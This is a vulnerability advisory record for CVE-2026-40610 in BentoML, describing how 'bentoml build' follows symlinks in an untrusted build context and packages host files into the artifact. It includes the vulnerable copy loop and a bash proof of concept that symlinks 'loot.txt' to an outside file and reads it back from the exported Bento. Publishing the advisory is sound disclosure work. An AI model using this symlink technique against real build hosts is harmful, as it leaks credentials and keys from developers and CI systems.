{"id":"CVE-2026-40610","aliases":["CVE-2026-40610","GHSA-mcfx-4vc6-qgxv","PYSEC-2026-2399"],"related":[],"kind":"vulnerability","state":"published","title":"BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context","summary":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.38 and prior, the build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact. If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows. An attacker can exfiltrate local files from the build host into the Bento artifact, exposing secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configurations. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine. This issue has been fixed in version 1.4.39.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.38 and prior, the build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact. If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows. An attacker can exfiltrate local files from the build host into the Bento artifact, exposing secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configurations. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine. This issue has been fixed in version 1.4.39.","source":"cvelist"},{"lang":"en","text":"### Summary\nBentoML's `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.\n\nIf a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -> /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.\n\n### Details\nThe vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:\n\n```python\nfor root, _, files in os.walk(ctx_path):\n    for f in files:\n        dir_path = os.path.relpath(root, ctx_path)\n        path = os.path.join(dir_path, f).replace(os.sep, \"/\")\n        if specs.includes(path):\n            src_file = ctx_path.joinpath(path)\n            dst_file = target_fs.joinpath(dest_path)\n            shutil.copy(src_file, dst_file)\n```\n\nThere is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process.\n\nThis is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.\n\n### PoC\nThe issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.\n\n```bash\nmkdir -p /tmp/bento-symlink-poc\ncd /tmp/bento-symlink-poc\n\nprintf 'BENTOML_SYMLINK_POC_123456\\n' > /tmp/outside-marker.txt\n\ncat > service.py <<'EOF'\nimport bentoml\n\n@bentoml.service\nclass Demo:\n    @bentoml.api\n    def ping(self, x: str) -> str:\n        return x\nEOF\n\ncat > bentofile.yaml <<'EOF'\nservice: \"service:Demo\"\ninclude:\n  - \"service.py\"\n  - \"loot.txt\"\nEOF\n\nln -s /tmp/outside-marker.txt loot.txt\n\nbentoml build --output tag\nbentoml export demo:7pilrpjtlomelwct /tmp/poc.zip\n\nmkdir -p /tmp/poc-unzip\nunzip -o /tmp/poc.zip -d /tmp/poc-unzip\nfind /tmp/poc-unzip -name loot.txt -print\ncat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \\\nfind /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \\;\n```\n\n- The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file.\n- It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`.\n- It creates `loot.txt` as a symlink to the external marker file.\n<img width=\"1531\" height=\"648\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82\" />\n\n- It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`.\n- Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink.\n<img width=\"1315\" height=\"121\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e\" />\n\n\n<img width=\"1697\" height=\"760\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203\" />\n\n\n### Impact\nAn attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.\n\nThis can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.","format":"markdown","source":"ghsa"},{"lang":"es","text":"BentoML es una biblioteca de Python para construir sistemas de servicio en línea optimizados para aplicaciones de IA e inferencia de modelos. En las versiones 1.4.38 y anteriores, el flujo de trabajo de empaquetado de compilación sigue enlaces simbólicos controlados por el atacante dentro del contexto de compilación y copia el contenido del archivo referenciado en el artefacto Bento generado. Si una víctima compila un repositorio no confiable o cualquier otro contexto de compilación suministrado por el atacante, el atacante puede colocar un enlace simbólico como loot.txt -> /tmp/outside-marker.txt o un enlace a un archivo local más sensible. Cuando se ejecuta bentoml build, BentoML desreferencia el enlace simbólico y empaqueta el contenido del archivo de destino en el Bento. El archivo filtrado puede propagarse aún más a través de flujos de trabajo de exportación, envío (push) o contenerización. Un atacante puede exfiltrar archivos locales del host de compilación al artefacto Bento, exponiendo secretos como credenciales de la nube, claves SSH, tokens de API, archivos de entorno u otras configuraciones locales sensibles. Debido a que los artefactos Bento se exportan, cargan, almacenan o contenerizan comúnmente después de la compilación, el contenido del archivo filtrado puede propagarse más allá de la máquina de compilación original. Este problema ha sido solucionado en la versión 1.4.39.","source":"nvd"}],"published":"2026-05-07T16:39:47.000Z","modified":"2026-10-06T22:10:00.247Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"}],"cwes":["CWE-59"],"affected":[{"ranges":[{"version":"< 1.4.39","status":"affected"}],"vendor":"bentoml","product":"BentoML","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.4.39"}],"ecosystem":"PyPI","package":"bentoml","purl":"pkg:pypi/bentoml","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.4.39"}],"vendor":"bentoml","product":"bentoml","cpe":"cpe:2.3:a:bentoml:bentoml:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.4.39"}],"ecosystem":"PyPI","package":"bentoml","purl":"pkg:pypi/bentoml","source":"pysec"}],"references":[{"url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-mcfx-4vc6-qgxv","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/bentoml/BentoML/commit/5fb7cd41f92e2a56b45391284cf15b9ac9963a1f","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/bentoml/BentoML/releases/tag/v1.4.39","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40610","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/bentoml/BentoML","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/bentoml","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-mcfx-4vc6-qgxv","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-26T15:32:48.902Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40610","url":"https://www.cve.org/CVERecord?id=CVE-2026-40610","licence":"CVE Terms of Use","modified":"2026-05-26T15:33:25.507Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mcfx-4vc6-qgxv","url":"https://github.com/advisories/GHSA-mcfx-4vc6-qgxv","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:34.296Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40610","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40610","licence":"Public domain","modified":"2026-10-06T22:10:00.247Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2399","url":"https://osv.dev/vulnerability/PYSEC-2026-2399","licence":"CC-BY-4.0","modified":"2026-07-13T16:31:38.921Z"}],"updatedAt":"2026-11-25T22:59:22.207Z","epss":{"score":0.00284,"percentile":0.22489,"date":"2026-12-01T12:00:22.000Z"}}